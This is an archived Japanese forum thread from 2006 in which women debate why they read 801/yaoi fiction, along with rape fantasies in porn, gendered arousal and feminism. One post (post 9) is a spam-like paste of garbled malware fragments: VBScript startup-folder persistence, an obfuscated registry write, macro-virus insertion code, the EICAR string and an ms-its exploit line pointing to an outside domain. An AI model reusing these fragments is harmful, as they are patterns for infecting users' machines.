06/11/02 20:37:24 iC5rY3nI0
「801が好きな理由」スレより主なまとめ。
1）男×女だと障害がないので早くくっつけばいいのに、と冷めてしまう
2）男×女だと恋愛の延長線上にあるもの（避妊、妊娠、結婚、嫁姑問題、老後など）を
すぐ想像＆心配してしまう
3）男×女だと自分とつい比べてしまう為、完全には現実逃避できない
4）自分が経験可能な事（男女の恋愛）をわざわざ小説、漫画で
読みたい、自分でかきたいとは思わない
5）男×女はどうしても損得や打算が多少あるので
同性同士の性別を超えた魂の愛の繋がり云々というのに憧れる
6）男女ものや同性愛ものは現実の存在が読んでいて気になる為、
色々考えるきっかけになって面白いけど疲れた時に娯楽として読むには重い
7）同性同士の世間的に認められない故の罪悪感などのタブー性に惹かれる
8）女性キャラは性格や体の描写など見る目が厳しいので気になってしまう
9）気に入った男キャラに釣りあうと思う、いい女キャラが作品にいないことがある
10）女キャラとくっつくと嫉妬してしまってがっかりする
11）ヤオイという設定のファンタジー性が重いテーマ（周囲との軋轢など）に勝るため
「物語を面白くするための単なるトッピングに過ぎない」と据える事ができるので
後々まで尾を引くことがなく、自分だったらどうしようなどと考えなくて済む
12）男×女では難しい男×男の親友兼恋人の対等さや同じ目線の精神的繋がりに憧れがある
13）女や女同士では真似できない 男同士特有の友情やライバルや
離れていても互いのことはわかってる感じや腹をわって話せる雰囲気に凄く憧れる
14）男×女が恋愛しかないのに比べて男×男は色々な関係で萌えられる
15）性的興味や魅力を感じるのは異性（男性）なので友情、愛情、エッチがセットで見られる
16）異性＝未知なものなので都合良く妄想することができる
17）男×男だと自分の性（女性）は全く介在しないので完全に傍観者の立場になれたり
安心して浸ることができる
3:風と木の名無しさん
06/11/02 20:38:27 iC5rY3nI0
801とは
│
├801は関係性だよ派（真性腐女子層）
│ ├受け攻め固定派
│ │ └１棒１穴派（カプ固定派）
│ ├リバ派
│ │ ├受け攻めにはこだわらないよ派（カプ固定リバ派）
│ │ ├男なら攻めてなんぼだよ派（攻×攻派）
│ │ └百合のようなやおいがいいよ派（受×受派）
│ ├プラトニック派（無性派）
│ │ └少年愛派（先史時代回顧派）
│ └そのキャラと場合によるよ派
│
├単体萌もありだよ派
│ ├好きキャラが愛されてればいいよ派（総受け総攻め派）
│ ├単体うっとり派
│ └好きキャラがエロければいいよ派（軽ポルノ派）
│
├801はポルノだよ派
│ ├チンコが大事だよ派
│ │├男性向けショタ派
│ │└ガチホモ派
│ └エロければいいよ派（ライト801層）
│
└801はジャンルやネタの一種だよ派（最ライト801層）
4:風と木の名無しさん
06/11/02 21:10:59 NPtM+isv0
1乙
早速前スレの続き
前スレ>900
私も男女モノは女がおもちゃにされてるのが好きだ…
私の場合は男（受）でもいいんだけど。
むしろ和姦に興味がない。純愛物なら朝ﾁｭﾝでも構わないくらい、和姦はどうでもいい。
991は
＞私としては、自分が８０１を読む要因には、そういったヘテロ・ポルノが暗に言っている
＞「女はレイプされたがっている」神話に対するアンチテーゼがあるもんだから、信じられんよ。
と言うけど、私にとっては男性向けのレイプ物ヘテロ・ポルノも
８０１も同じ「ファンタジー」なんだよなあ
勿論「女はレイプされたがっている」神話を信じている男には反吐が出るけど
大半の男はファンタジーだと分かってて楽しんでるんじゃないのかな
5:風と木の名無しさん
06/11/02 22:19:41 EQn6eXdm0
>1乙！
「男男＜男女な人は腐女子なのか？」っていう前スレの議論は
遠巻きに読んでたんだけど、前スレ990みたいに
男男エロは苦手で男女エロが萌えって人とは壁を感じる。
6:風と木の名無しさん
06/11/02 22:21:35 EQn6eXdm0
>>3って、受け攻め固定が一棒一穴と単体萌えしか分類ないね。
「関係性萌えだけど、受け攻め属性はキャラ固定」って人が
固定派の中では最も多い気がするんだけどどうだろうか？
7:風と木の名無しさん
06/11/02 22:53:50 iC5rY3nI0
>>6
＞「関係性萌えだけど、受け攻め属性はキャラ固定」
が受け攻め固定派で、その中の一部が一棒一穴派なんじゃないか
>3の表は暫定だから、ややこしいなら非一棒一穴派？とか追加してしまえばいいとおも
前ｽﾚの801論関連書籍をテンプレとして追加しようか迷っている
詳しい人が整理して投下してくれるといいんだが
8:風と木の名無しさん
06/11/02 22:58:26 WE4HRIBF0
ヘテロ・ポルノはファンタジーなんて甘いこと言ってらんない側面があると思うよ。
つまり、ヘテロ・ポルノが描く男女関係は「女は根本的に性的なマゾヒズム」だから、
男が女を性的にホンローしても許される、っていう物語だ。この価値観は、
単なるファンタジーではなく、職場のセクハラ行為や性別分業なんかがぜんぜん
解消しないという根強いリアリティに通じてる。
そういうヘテロ・ポルノに違和感を生じない女性がいるのは、私たちが社会的存在だからだよ。
すなわち、女性でも、セクハラおやじの視点で女性をみることができてしまうし、
生まれてから「女は性的対象物かメイドかどっちかだ」なんていう価値観の
なかで育っていれば、そういう視点が女性の中でもしっかり根付いちゃうところが
大問題。それに気がつかないで、「私の独自の感覚だ」なんて、勘違いしてしまうことが多いからね。
9:風と木の名無しさん
06/11/02 23:00:47 tAxFfDCk0
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!URLﾘﾝｸ(www.loadcash.biz) type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
10:風と木の名無しさん
06/11/02 23:09:04 7FCYI3ru0
レイプモノってほとんど男性向けばかりと思っていたけど
ドリやTLでもレイプモノは結構多いんだね・・・
少し理解に苦しむ
11:風と木の名無しさん
06/11/02 23:22:15 oazTr3TQ0
>8
>女は性的対象物かメイドかどっちかだ
ってそこまで偏った価値観を恒常的に出してるところでそうそう育つ人は
いない気がするけど（巧妙に隠蔽されてたり、端々に出てくることがあったり…って
程度で、だからこそたちが悪い気もするが）。
それに、ヘテロポルノというか女が一方的に翻弄されるのを読む一因に
一方的に翻弄される＝性的行為を私（女）が求めたわけではないというエクスキューズが
そこに発生ってのもあると思う。
そのエクスキューズを必要とするところに抑圧があるとか、
だから女は「女は根本的に性的なマゾヒズム」を持つとかいう妄言とはまた別にして。
ある種の801シチュと同じく性的ファンタジーと実際とは違うってだけでは？
ある種のフェミニズムのように被害を声高に押し付けるように言うのも、ある種の男の言のような
身勝手な言い分に乗るつもりもないけど、「セクハラおやじの視点で女性をみることができてしまう」し
逆に「セクハラ視点で男性（老いも若きも）をみることができてしまう」ことがあるだけのような。
12:風と木の名無しさん
06/11/02 23:34:19 RZuLqmfH0
>10
・面倒なストーリーなしに手早くエッチに持ちこめる（男向けの理由の一つ）。
・女から誘うのははしたないので、男が強引にやったことにする。
（読者視点からだと、男は魅力的なのでＯＫ）
・こんなイイ男をケダモノにする自分って魅力的、と陶酔する。
こんなあたりらしいよ。
13:風と木の名無しさん
06/11/02 23:47:53 gUm190bD0
自分の女性性に対する自虐ってのもありそうな。
14:風と木の名無しさん
06/11/03 00:33:49 kz9WyQFp0
特に強姦系の８０１を読むときは男性優位位社会への復讐がある気がする。
女の身の息苦しさを思い知れ、とか。
15:風と木の名無しさん
06/11/03 01:47:44 eFxyTq0Y0
女性の書く男女エロに共感できない一因として、
>こんなイイ男をケダモノにする自分って魅力的、と陶酔する
があると思う。
書いてるほうは気持ちいいかもしれんがその幻想にはのっかれん。
男性向けエロのほうがまだ読めることがあるのは、男視点で女をモノのように
（ある意味架空の存在として）扱えるからではないかと推測。（それがいいことでないのは別として）
それが女性視点や女性的感性が作中ににじみでていると、
いやがおうにも女に共感してしまう（される側の視点になってしまう）ので不快感が生じるのではないか。
作者も受けるほうも女だと、お前のナルシーにゃ興味ねえよ的な心境になるところを
受けが男な８０１はうまく緩和してるのではないかと。
あと、801二次カプで、自分で妄想するのはいいが他人のエロは読めないとかあるんだけど
受け視点のものだと他人のエロに共感しにくいような気がする。（ちなみに好きキャラが女の場合はそもそも妄想しない）
16:前スレ990
06/11/03 02:11:08 v4FtM3rx0
>>前スレ995
いえいえ。あまり読まないけどエロレディコミは女に都合のいい展開満載なので
男性向けエロの偏りも特に気にならないのです。
>>4 ﾅｶｰﾏ
>>5 男男は小説でエロ読みまくりですよ。大好きです。無くても萌えるというだけで。
私がセクハラモノを好む理由は>>11の
＞一方的に翻弄される＝性的行為を私（女）が求めたわけではないというエクスキューズ
これに尽きます。ＳＭはＳが実は尽くす方、というようなこと。
最近、コンビニエロ雑誌からはレイプものは無くなってきています。
男同士は対等だから和姦がいい。
17:風と木の名無しさん
06/11/03 12:36:44 HNFQtNrY0
十年前のエロレディコミは、TLや少女漫画でありがちな
「イケメンに強引に迫られて押し倒されちゃった～」とかではなく
拉致監禁調教とかチンピラ集団が林間とかガチっぽいものもあった記憶が。
（最近のエロレディコミは良く知らないんだけど
規制でそういうものが描けなくなったという噂は聞いた。本当？）
男性向けはレイプもの意外と少ないよ
ヲタ向け美少女物はガチ陵辱より萌え系の方が多いし
実写AVもH大好き淫乱女が楽しんでセックスしているという設定のものが多い。
それが規制のせいなのか、そういうものの方が売れるからなのかは知らんが
18:風と木の名無しさん
06/11/03 13:07:30 vUYlZ9kD0
イケメンに強引に迫られて押し倒されちゃった～とかセクハラ・拉致監禁調教林間とか
淫乱女が～とか、いきなり美少女がいっぱい迫ってきた～とか
男性向けにしろ女性向けにしろそういうシチュって、なんかどちらも結局自分が主体的にエロいことをする
のではなく「性的行為を私が求めたわけではないというエクスキューズ」を挟んでいるという点においては
共通している気がする。
自分が求めたということになるとそれに伴う責任とか結果に対する引き受けとかが発生するのが嫌なのかな、
とか思う。（もちろんそれが悪いと言うわけではない。性的ファンタジーを気軽に楽しむためにはそういう重たい
部分が嫌われるってだけだろう）
19:風と木の名無しさん
06/11/03 15:45:14 HNFQtNrY0
うーん、女性向けは
＞「性的行為を私が求めたわけではないというエクスキューズ」
が必要、と言うのはあると思うんだけど
男性向けの場合は単にエロい女が好き、マグロ女はつまらん、とか
何もせずともいい女が大勢寄って来てHやり放題が理想、などの理由のような。
完全に男が受身のもの（女王様とか痴女とか逆レイプとか童貞筆下ろしものなど）は
特殊ジャンル扱いだし。
20:風と木の名無しさん
06/11/03 17:06:56 vUYlZ9kD0
>何もせずともいい女が大勢寄って来てHやり放題が理想
つまりそれがあちらから求めてきている→俺が言ったんじゃないもんね、
据え膳食わないとあっちがかわいそうって充分それは受身で
エクスキューズじゃないかと思うんですが。
>女王様とか痴女とか逆レイプとか童貞筆下ろしものなど
それは男性側が性行為の流れの主導権を得られない（関係の変化に伴って
逆転する場合もあるでしょうが）と言う点が万人受けしないだけでは？
21:風と木の名無しさん
06/11/03 18:56:09 t1kMp5JY0
男が(も)受け身でいたい欲求は、少年漫画から女キャラ口説きまくり(で嫌われまくり)な主人公が減って
逆に初期状態でモテる主人公が増えた(これは王道じゃないかもだが)事からも感じられる気がする。
エロゲで純愛が多いのは、犯る側の立場に疲れた男が、
それでもエロによる性的認証を求めた結果の産物じゃないかなあ。
男性主導の(レイプまがいの)エロより、
愛の名でエロを正当化した(「愛してるからするのは自然」的な)エロの方が
個人的には見てて不快だ。やってることあまり変わらないくせに。
22:風と木の名無しさん
06/11/03 19:40:51 j8dECKNq0
>17
>拉致監禁調教とかチンピラ集団が林間とかガチっぽいものもあった
読者（或いは作者や編集）がより強い刺激を求めた結果、段々とそういうものへ変化していくらしいね。
多分、そういう雑誌や漫画家も、最初はただの「強引なイケメンによる無理矢理モノ」からスタートしてたと思うよ。
>19
「特殊ジャンル」とは言え、「そういった作品が少数派」だから特殊なだけで、通常作品と同じ作家・雑誌・単行本にあったりする。
決してＴＬとＢＬのような雑誌や単行本を異にする程の「異質さ」はない。
23:風と木の名無しさん
06/11/03 19:43:44 j8dECKNq0
>21
>愛の名でエロを正当化した(「愛してるからするのは自然」的な)エロ
というのは、801における「オレはホモじゃない。たまたま好きになったお前が男だっただけ」でヤッちゃうのに相当するものですな。
でもって、これは一般的に腐女子には好まれるシチュじゃないんでしょうか？
24:風と木の名無しさん
06/11/03 19:48:19 j8dECKNq0
>何もせずともいい女が大勢寄って来てHやり放題
一つ区別しなきゃならないのは、
「何もせずともいい女が大勢寄って来る」のと「女が主導権を握る」のは別モノと言う事だ。
前者はヤルまでのストーリーの短縮化とか複数の女性キャラを登場させたりするためのご都合で、エロの主導権とは直接関係がない。
一般的なご都合ハーレムものだって、いざヤルとなると男が主導権を握ったりする方が多いわけだし。
25:風と木の名無しさん
06/11/03 20:19:49 vUYlZ9kD0
>「何もせずともいい女が大勢寄って来る」のと「女が主導権を握る」のは別モノと言う事だ。
>前者はヤルまでのストーリーの短縮化とか複数の女性キャラを登場させたりするためのご都合で、エロの主導権とは直接関係がない。
そうですね。
作劇上のご都合的なものもあるだろうが、ヤルまでの主人公側（男）の女の体が欲しいという働きかけを
よってくる女側に全てゆだねているわけで、ヤル内容が男側主導だろうがそこに至る男側の能動的
選択と言ったらどの女にするか、とかヤってくれと乞われてそれにうなずくか否かってくらいで、
それが能動的って言われたら「据え膳を食うと決めたら全力で食う」ってくらいの能動性ですね。
結局恋愛って惚れたほうが立場弱いってことが多いから男女ともそれを忌避した結果がこうなるんじゃないかと。
ただ個人的には相手側にこうして押し付けるタイプは男エロでも少女漫画でも801でも好みではないが。
26:風と木の名無しさん
06/11/04 00:14:56 KPyTXY1q0
恋愛の能動性とエロの能動性がごっちゃになってない？
男女とも、恋愛に能動的なのは異性側であって欲しい（愛するより愛されたい）けれど
男性の場合エロの主導権は同性が握り、異性が乱れる様が見たい
女性の場合エロの主導権を異性に委ね、同性が乱れる様が見たい
人が多い。
で、↑とは逆の嗜好を持つ人の場合、
同性が乱れる様が見たい男性向けは、エロの主導権が異性にあるもの（＝女王様ものなど）の方が
同性にあるもの（＝ショタ、ガチホモなど）より人気だけれど
異性が乱れる様が見たい女性向けは、エロの主導権が異性にあるもの（＝801）の方が
同性にあるもの（＝女王様ものなど）より人気がある。
という事では。
勿論例外もあるだろうけど
27:風と木の名無しさん
06/11/04 00:15:53 haxBSCsz0
なんか腐女子は受けに自己投影するのが前提の話になってるね？
28:風と木の名無しさん
06/11/04 00:25:55 JxfMnuD30
一般的にはそういう人のが多いんだろうが、
そういう部分からはみ出していくから、腐女子になっていくんじゃね？
と思う。
29:26
06/11/04 00:27:19 KPyTXY1q0
そういうつもりはないけど
攻めに自己投影している腐女子もいれば
女王様×M男もの見て女王様に自己投影している女子も（少しは）いるだろうし
自己投影無しの神視点で楽しむ女子も居るだろうし
んで、読み返して思ったけどレズ／百合の存在を忘れていた
30:風と木の名無しさん
06/11/04 00:33:50 JxfMnuD30
いやいや。
世間一般には、腐女子＝受けに自己投影と思われてるし、
実際、低年齢層やライト層、初心者腐女子には、受け自己投影は多い。
だから商業BLが受け視点の話だらけになるんだろう。
しかし病が深くなる、ないし腐歴が長くなるにつれて受け自己投影の人は減っていく。
このスレにも、受け自己投影の人は少ないみたいだし。
だから、
世間一般の女はこう→だから腐女子もこうに決まってる
という論法は成り立たないのではないかと思うわけだ。
31:風と木の名無しさん
06/11/04 00:56:11 KurtbTCn0
レディコミ限定（だいたい読むのがそれだけなので）女性向けのでも結構酷い話は多い。
でもあまり気にならない。紛れ込んでる嫁姑戦争系の話のが嫌だし。
でも、レディコミでも結構出てくる男って、人格薄いんだよね、女の登場人物に比べて。
あくまで「女」の側の心情描写、性格、人格が重視されてる。
だから薄くしか読めない。
ただ、男向けのだと、出てくる女に「心」がないのが多くてげんなりはする。心情の描写
も、それを伺わせるのも全くなくて、ただ男にとって都合の良い、しかし意図不明の言動
をやってる。（「嫌だよう、でも気持ちいいよう」なんてのは、当然心情描写とは言わない）
だからレディコミより、なおさらおもしろくない。
32:風と木の名無しさん
06/11/04 17:19:30 fg1im8FY0
男性向けエロマンガで心理描写をきちんとしてたら抜けない男続出だろうなあ
33:風と木の名無しさん
06/11/04 17:42:12 KurtbTCn0
男はﾃｨﾝｺで抜き、女は心で抜く
34:風と木の名無しさん
06/11/04 17:57:26 g3+GZ5jN0
>32
どうして心理描写をきちんとしたら抜けないんだろ？
ちょっと不思議。
35:風と木の名無しさん
06/11/04 20:10:21 QL0Toqfk0
幻滅するんじゃねーの？
リアルにすると、男にとって都合の良い思考・感情じゃなくなるから。
誌面的にも、その分エロに回した方が喜ばれるし。
36:風と木の名無しさん
06/11/04 20:43:18 tXxpBTLt0
男にとってはファストフード的な手っ取り早さが肝心だから
非エロの普通の漫画でもサービスカットがあればそこだけを見て抜ける。
読んだことないからわかんないけど
『ふたり/エッチ』とかはどういう立ち位置の漫画なんだろう。
37:風と木の名無しさん
06/11/04 21:53:17 +kTfKClG0
>>35
幻滅するっていうか、
「手っ取り早く抜きたいのにそんなもん要らん」
って感じなんじゃね？
>>36
エロを題材にしたコメディなんじゃね？
38:風と木の名無しさん
06/11/04 22:18:21 KurtbTCn0
男はグラビア1枚で抜けるけど、女はどうかな。
私はポスター1枚では（精神的にも）抜けない。抜くには、そこに背景となる
物語を組み入れなければ。
39:風と木の名無しさん
06/11/04 22:23:55 JgzW8NOW0
男のいない場所で、男はこうに決まってる、とか決め付けても不毛だと思うので
まあほどほどに。
男はてっとり早く抜きたい、男は即物的、というのも一種の物語だよね。
エロは飽きる。即物的なエロシーンだけ羅列されても、１０代の子供ならまだしも
一定年齢以上になったら食い飽きる。
そのこと自体に、男も女もそうは変わらないような気はする。
40:風と木の名無しさん
06/11/04 22:46:32 QL0Toqfk0
さっきから居りますが、なにか？
まあ、だいたい39さんのおっしゃる通り。
抜く事はできるけど、確かに飽きてくるね。
41:風と木の名無しさん
06/11/04 22:58:52 KurtbTCn0
男はどうか、ということより男向け（女向け）の男女エロ漫画はこういう理由で
ＯＫｏｒＮＯという話だったよね。
42:風と木の名無しさん
06/11/04 23:28:46 3N08/CVK0
エロじゃないけど、少女漫画雑誌で男の人が描いてるの読むと
やっぱりなにか違うなーと感じる事はあった
絵柄とかもそうなんだけど、心理描写がどうしても女の人と微妙に
違うなと。その微妙さをどう表現していいか分からないけどね
最初から少年漫画というカテゴリーで読めば違和感も感じないと思う
エロも同じかな
43:風と木の名無しさん
06/11/05 07:13:52 2LKLvnkT0
こっそり横から確認させて欲しいのですが
腐女子の定義に「アニメ マンガのオタク」は別に含まれないよね？
実写映画、ドラマ派です マンガは家族がかってくるモーニングくらいしか読まないです。
44:風と木の名無しさん
06/11/05 11:17:06 vQ5o9iSm0
官能小説だと女の心理描写もちゃんとされていると思う。リアルかどうかは別として。
（でも女性向けでもリアルな男の心理描写なんてされてないわな）
おっさん向けエロ週刊誌とかだと「実録」「体験談」も多いね。あれで抜いてるのかは知らんが
エロ漫画やグラビアは対象年齢が低い分即物的なものが多いんじゃないかな
45:風と木の名無しさん
06/11/05 23:18:34 PeV2dXiB0
>>44
対象年齢が低いとかじゃなくて、絵の有無じゃない？
もう何年も前になるけど、深夜番組で男向けエロ漫画とレディコミの違いとかやってて、
男の人は視覚から得る情報で興奮するって事で、状況や心理状態なんかも
絵で表現する様になってるとか、そんな感じの事を言ってたと思う。
46:風と木の名無しさん
06/11/05 23:25:15 7U3f9gLJ0
いや、そういうこと言い出したら、漫画という媒体そのものが
状況や心理状態を絵で表現するものなわけで。
女向けだって、そんな独白を延々とやってるわけじゃないでしょ。
47:風と木の名無しさん
06/11/05 23:30:28 7U3f9gLJ0
つーか、男は視覚で興奮する、女は視覚では興奮しない
（実際に触られないと興奮しないとか、文章なら興奮するとか）とか
もう定説のように言われてるけど、
こういうのって、女向けエロメディアのなかった時代の話では。
女向けエロメディアが世に溢れてきた今日でも、通用するものなの？
このへんも変わってきてんじゃないかとも思うけど。
48:風と木の名無しさん
06/11/05 23:49:29 oVv94/D70
うーん、でもなんか視覚的エロって見たその瞬間に興奮しても持続しない気がする。
インパクトだけって感じがしてあんまり。視覚的に取り入れた情報を文章とか二次的な
妄想を必要とする場合に流用するときに使ったりするようにそのもの自体ではくるものがない
場合が多いかも。やはり付属的なにかがないと単体ではきついかも。
49:風と木の名無しさん
06/11/05 23:54:23 7U3f9gLJ0
何かエロいものを見た場合、
男用のエロ物語は数千年の蓄積のもとに大量に用意されてんので、
エロいものを見る→即座に物語補完→即座に性的興奮
の回路が自然と構築されるのだろうと思う。
しかし女向けエロメディアは近年までほとんどないような状況だったので、
エロいものを見る→物語補完に時間がかかる→時間が経ってから性的興奮
となるのだろうと思う。
男は視覚で興奮し、女は視覚で興奮しない、という物言いには、
男＝見る側（性的主体）
女＝見られる側（性的客体）
と規範したいという、政治的意図を感じてしまうわけだ。
50:風と木の名無しさん
06/11/06 00:58:18 tpIP9SZI0
>>49
しかし、男は女のパンチラで興奮出来る生き物だが
女は男のぽろりで興奮出来る人少なそうじゃないか？
メディアだけの問題だろうか
春画は男女関係なく好まれたようだが
51:風と木の名無しさん
06/11/06 01:10:00 JxBrAMnh0
>>50
パンツ自体に興奮するわけじゃないだろう。パンツフェチの人にしても。
スカートとパンツとパンツの中身があって、それに付加する物語を
瞬時に構築できるから、興奮するんじゃないの？
女も、ポロリとそれに付加する物語を瞬時にリンクできるようになれば
ポロリに興奮できるんじゃないの。
そんな状態になりたいかは別にして。
52:風と木の名無しさん
06/11/06 01:29:18 JxBrAMnh0
つーか、女はこういう生き物、と決め付けられるのが嫌で８０１に走ってるのに、
男はこういう生き物、と決め付けて平気な人が結構多いのが分からん。
男脳、女脳ってあると思う？
私はないと思う。あるのは文化的差異だ。
53:風と木の名無しさん
06/11/06 01:51:10 BEkTY8gj0
腐女子の文化的教養はえてして低いだろ。
54:風と木の名無しさん
06/11/06 01:56:37 CeKer2aC0
＞女はこういう生き物、と決め付けられるのが嫌で８０１に走ってるのに、
こういう人おおいのかな。まぁ中学の頃多少あったけど
今は気にならない
55:風と木の名無しさん
06/11/06 02:08:56 JxBrAMnh0
>>54
女は感情的な生き物、女は理性的な判断ができない、
女は地図も読めず空間認識力に欠ける、
女は車の運転が下手、女は大局を見ることができない、
女は恋愛のことしか考えてない、女はすぐ泣く、
女は一発ヤってしまえば大人しくなる、
あなたはこんなこと言われて平気？
ま、平気だと言うなら、別にいいけどさ。
56:風と木の名無しさん
06/11/06 02:48:48 9y21XR/c0
この板のあちこちで再三大声で叫ばれてる「私は普通の女、女という性に違和感など持ってない！」
という主張が、正直薄気味悪い。
いかに自分はいかにお洒落で普通の女かということ主張し、そこから逸脱する者を糾弾する。
逸脱は、上でも下でもダメ。
ダサいのは当然袋叩きだが、華美なものも叩く。
低学歴や低収入は馬鹿にするが、高学歴や仕事を一所懸命やってるという主張には
アテクシ臭だのと言って、これまた叩く。
年頃の女には恋人がいてセックスしてるのが当然で、一定年齢に達したら結婚していなければならず
子供もいなければならない。
女という性に違和感を感じている、というレスに対しては、必ずと言っていいほど
私はそうじゃない！私は順応してる！というレスが返ってくる。
「私は普通の女！ちょっと変わった趣味（８０１）を持ってるだけ！」
たかが８０１妄想するために、そんな言い訳をいろいろ用意しなければならないなら、
女という性は、何と息苦しいものなんだろう、と思う。
57:風と木の名無しさん
06/11/06 06:10:42 LCqOuWuK0
別に誰もそこまで言ってないんじゃ……？
８０１好きだってだけで女という性に違和感を抱いてなきゃならないっつーのもどうなのさ。
違和感感じない８０１読みになんか恨みでもあんのか？ ちょっと落ち着けよ。
58:50
06/11/06 09:41:05 tpIP9SZI0
>>51
うーん、そうかなあ？
私は男になったことがないし、自分以外の女にもなったことがないからわからないけど
傾向としては男女に差があるように思う…けどソースがあって話してるわけではない…
今の若い子なんか性に対してはしたないとか奥ゆかしいとかそういう気持ちはあんまり持ち合わせてないように見えるけど
欲情するまでのステップが男より長いことは変わらないって印象。
>>52
いやだけどあると思ってる
あるからって過剰な区別や差別はいけない そんな感じ
59:風と木の名無しさん
06/11/06 10:16:31 YPIV9eGQ0
>>56
どっちが上とか下とかないでしょ
女はこうだとかこうあるべきだっていう意見は確かにあるけど
それからそれてるかといって
それた人はみんな女性性に違和感を感じてる訳じゃないと思う
生き方が多様化してる訳だし、
女はこうあるべきっていう意見にあてはまってない＝女性性に違和感って
っていうのがどうして？って思う
60:風と木の名無しさん
06/11/06 10:24:04 tpIP9SZI0
ところで801って別に「ちょっと変わった趣味」ってこともないよね。
801人口の多さ考えたらふつーじゃない
61:風と木の名無しさん
06/11/06 11:11:27 U5jdX/LB0
男が視覚的要素で欲情できるのは、もともとは本能的なものに由来すると思う。
生殖の効率で考えれば、男は数打つ方が効率的で、逆に女は相手を吟味した方が有利。
余談だけど、女性の乳房と口紅の由来は、直立歩行によって視界から外れた尻と性器の代用という説もある。
あと、前々スレ辺りで出た異国でのアンケート結果（女性は男性の体のどこに魅力を感じるか）でも、性器ではなかったし。
>51のいう、文化的物語的なものの全否定をするつもりはないけど、やっぱ根っこの部分は本能だよ。
62:風と木の名無しさん
06/11/06 13:44:56 zkC8jEad0
つーか >>56の意見の方がフェミニズム的視点に硬直化してるように見えるぞ
男と女の違いを1から10まで文化的差異に帰してしまうのも、一種の思考停止だ。
63:風と木の名無しさん
06/11/06 18:12:06 pttSfRRk0
>>56
なんとなく言いたいことはわからないでもない。
でも私に言わせれば、過剰反応して自分は女性という性に違和感を持っていない
と書き込みしなければならないような人は、
意識・あるいは無意識下では何らかのコンプレックスがあるんじゃないかと思うよ。
もちろん801好きすべてが、自己の性を正常に受け入れられないとは思ってはいない。
801というジャンルが多様化する中で、本来の流れから離れた人たちが生まれるのは不思議じゃないし。
それでもまぁ、根幹の部分では女性性の否定と801は切り離せないもんだと勝手に思ってる。
64:風と木の名無しさん
06/11/06 20:10:01 Ksy+gBjN0
>>63
「女という性に違和感を感じてるから801趣味がある」
と言う周囲や内部の意見を黙って見てるだけでは、そうでない人がいることは周知されない
と思うけど。
それとも誤った認識が広まることを黙ってみてるのが普通とでも？
違うものは違うというでしょう。普通の人は。
65:風と木の名無しさん
06/11/06 20:18:52 bHggrpOE0
>>64
私は違うのよ！と大声で主張するだけでは、説得力ないよ。
表層的にそう思ってても、無意識の問題だってあるしね。
徹底的に自己分析を重ねた結果、自分の中にそういうものが全くないことが分かった、
とでも言うなら、その自己分析の過程を説明してよ。
66:風と木の名無しさん
06/11/06 20:29:24 Ksy+gBjN0
>>65
違和感を感じるから801、という人が、実際のところは別に違和感なんて感じてないのに、自分は
普通の枠からはみ出してるんだ、という感覚のために表層的にそう思いこんでるのではないの、
という指摘もあり得る思うけど、そこは指摘なし？
言ってることが明らかに偏ってるよ。
67:風と木の名無しさん
06/11/06 20:32:04 bHggrpOE0
>>66
違和感を感じる→その違和感の正体を考える（考えた結果、別に何でもないことかも知れない）
違和感を感じない→思考停止
68:風と木の名無しさん
06/11/06 20:33:02 Ksy+gBjN0
ある側に一定の条件を与えるのなら、比較対象に対しても同様の条件を与えなければならない
んだよ。そうでなければ比較の意味はない。
少なくとも自分はこうです、という意見同士であれば、当人の表層意識同士ということで同条件。
深層意識まで問題にするのなら、双方深層意識まで問題にしなければね。
69:風と木の名無しさん
06/11/06 20:33:16 bHggrpOE0
>>66
で、あなたの言いたいことは、いわゆるｱﾃｸｼ臭？
70:風と木の名無しさん
06/11/06 20:39:03 Ksy+gBjN0
つまり、>>67は自分のあらゆることに違和感を感じて追究してるんだってことか。
さぞ生きづらいだろうね。
全てを追究していたら、他になにをやる時間もなさそうだ。
71:風と木の名無しさん
06/11/06 20:44:14 bHggrpOE0
＞ID:Ksy+gBjN0は単なる煽りか？
万一まともに話し合う気があるなら、過去スレあさってくればどうか？
違和感を感じるという人の、ほとんど悲痛な叫びのようなレスは、いくつも拾えるから。
それに対して、違和感を感じない、と主張する人のレスは、深く考えた形跡の見られるものがないから
もし考えた末の結論なら、それを説明してほしかったんだけどねぇ。
＞さぞ生きづらいだろうね。
＞全てを追究していたら、他になにをやる時間もなさそうだ。
はい、大変生きづらいですが何か？
四六時中、自分はなぜ８０１が好きなのか、一体それはどういうことなのかを考えていますよ。
72:風と木の名無しさん
06/11/06 20:50:40 Ksy+gBjN0
>>71
あのね、人間いろいろいるの。多様性はあって当然。
それをあなたは画一的になれ、と人に押しつけようとしてる。
違和感を感じる人がいることを否定なんて一切していないのに、全員をそこまでして同じに
したい理由って、何？
誰もが自分と同じか、自分が考えるかたちと同じでなければ満足できないの？
正直、あなたが自分に違和感を感じるなら、他人を自分の考えるかたちにあてはめなけれ
が我慢できないところにも違和感を感じないの？
73:風と木の名無しさん
06/11/06 20:53:20 bHggrpOE0
>>72
あのさー、違和感感じないと主張するなら、
それを他人にも納得いくように説明してください、と言ってんの。
説明できる能力がないなら、もう来なくていいよ。
74:風と木の名無しさん
06/11/06 20:54:58 TlYS+r2T0
女性性に違和感を感じるってどういう事？
男として生まれたかったの？
それとも、女はこうだって決めつけられるのが嫌って事？
75:風と木の名無しさん
06/11/06 21:09:01 GlBgFQ7o0
議論の前提として、ちとID:bHggrpOE0に確認したい
あなたは
「801に走る人はすべからく女という性に違和感を感じている人で、
